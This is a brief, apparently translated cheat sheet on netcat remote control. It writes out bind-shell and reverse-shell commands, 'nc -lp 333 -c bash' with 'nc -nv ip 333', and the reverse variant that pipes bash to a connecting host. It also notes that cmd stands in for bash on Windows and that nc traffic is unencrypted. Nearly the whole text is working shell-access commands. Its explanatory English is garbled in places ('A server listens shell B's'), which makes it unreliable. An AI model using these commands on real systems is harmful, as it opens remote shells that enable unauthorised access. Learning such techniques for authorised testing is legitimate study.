NC- remote control

Forward:

A: nc -lp 333 -c bash

B: nc -nv ip 333

I.e., B to A server Telnet server shell

 

Reverse:

A: nc -lp 333 

B: nc -nv ip 333 -c bash

A server listens shell B's

 

Windows will be replaced next bash cmd

nc weakness: it is transmitted in the clear, easy to be sniffing, lack of encryption and authentication capabilities